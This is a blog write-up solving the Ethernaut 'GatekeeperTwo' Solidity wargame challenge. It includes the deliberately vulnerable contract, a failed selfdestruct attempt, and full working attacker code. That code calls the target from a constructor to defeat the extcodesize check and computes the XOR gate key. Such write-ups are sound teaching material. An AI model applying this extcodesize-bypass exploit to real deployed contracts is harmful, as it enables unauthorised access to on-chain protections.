capu's blog
No backups. Can't restore. Don't want to either.

Ethernaut 14: GatekeeperTwo

Objective

Get past the three gatekeepers and register as the entrant.

Code

 1contract GatekeeperTwo {
 2    address public entrant;
 3
 4    modifier gateOne() {
 5        require(msg.sender != tx.origin);
 6        _;
 7    }
 8
 9    modifier gateTwo() {
10        uint256 x;
11        assembly {
12            x := extcodesize(caller())
13        }
14        require(x == 0);
15        _;
16    }
17
18    modifier gateThree(bytes8 _gateKey) {
19        require(
20            uint64(bytes8(
21                keccak256(abi.encodePacked(msg.sender))
22            ))
23                ^ uint64(_gateKey)
24            == type(uint64).max
25        );
26        _;
27    }
28
29    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
30        entrant = tx.origin;
31        return true;
32    }
33}

Solution

gateOne

tx.origin != msg.sender

This is simiar to the Telephone challenge, just calling from a contract gets us through the gate.

gate two

modifier gateTwo() {
    uint256 x;
    assembly {
        x := extcodesize(caller())
    }
    require(x == 0);
    _;
}

This makes sure the caller has a code size of zero. I could call from an EOA, but that'd break gate one.

Initially, I read the following in Solidity's docs:

selfdestruct(address payable recipient)
Destroy the current contract, sending its funds to the given Address and end execution. Note that selfdestruct has some peculiarities inherited from the EVM: the receiving contract’s receive function is not executed. the contract is only really destroyed at the end of the transaction and reverts might “undo” the destruction.

(emphasis mine)

So I tried to first selfdestruct the caller contract and then call the Gatekeeper:

function attack(GatekeeperTwo target) {
    selfdestruct(msg.sender);
    target.enter(bytes8(0));
}

my idea being:

  • the contract is marked for destruction
  • then an external call is made to the GatekeeperTwo
  • in the external call, the codesize of the calling contract is zero

but the result was simply that the GatekeeperTwo was not called 🙃. Destructing the contract finished the internal transaction, similar to a return.

Note

this is the kind of error solhint (currently) doesn't report, but slither does

I wasn't able to walk around gate two, but the challenge has a tip:

The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.

So I had to dive into the yellowpaper. Don't worry, you won't have to: The takeaway is that the codesize for an account is set at the end of the creation transaction, and is zero before that.

Looking into how contracts are actually deployed , it makes sense, since it's the return value of the code executed by CREATE what's saved as the contract code, and therefore is not possible to know the size of that when execution hasn't yet returned.

The solution then, is to call the enter method from the attacker's constructor.

constructor(GatekeeperTwo target) {
    target.enter(bytes8(0));
}

gate three

 1modifier gateThree(bytes8 _gateKey) {
 2    require(
 3        uint64(bytes8(
 4            keccak256(abi.encodePacked(msg.sender))
 5        )) // A
 6            ^ uint64(_gateKey) // B
 7        == type(uint64).max// C
 8    );
 9    _;
10}

this is again easy to do from solidity since I can simply perform the same operations on the attacker contract, and, taking advantage of the fact that XORing (^) is its own inverse:

A ^ B == C
=>
A ^ C == B

let's compute the first part (highlighted), A:

uint64 left = uint64(bytes8(
    keccak256(abi.encodePacked(address(this)))
));

and XOR it with the result we want, C, to get B:

uint64 key = left ^ (type(uint64).max);

Lastly, stitch the whole thing together:

contract Caller {
    constructor(GatekeeperTwo target) {
        uint64 left = uint64(bytes8(
            keccak256(abi.encodePacked(address(this)))
        ));
        uint64 key = left ^ (type(uint64).max);
        target.enter(bytes8(key));
    }
}
function solution(address payable target_) internal override{
    GatekeeperTwo target = GatekeeperTwo(target_);
    new Caller(target);
}
Running 1 test for test/14-GatekeeperTwo.t.sol:GatekeeperTwoSolution
[PASS] testSolution() (gas: 1695202)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.65ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

😎

Also on this blog:

Comments

Back to article list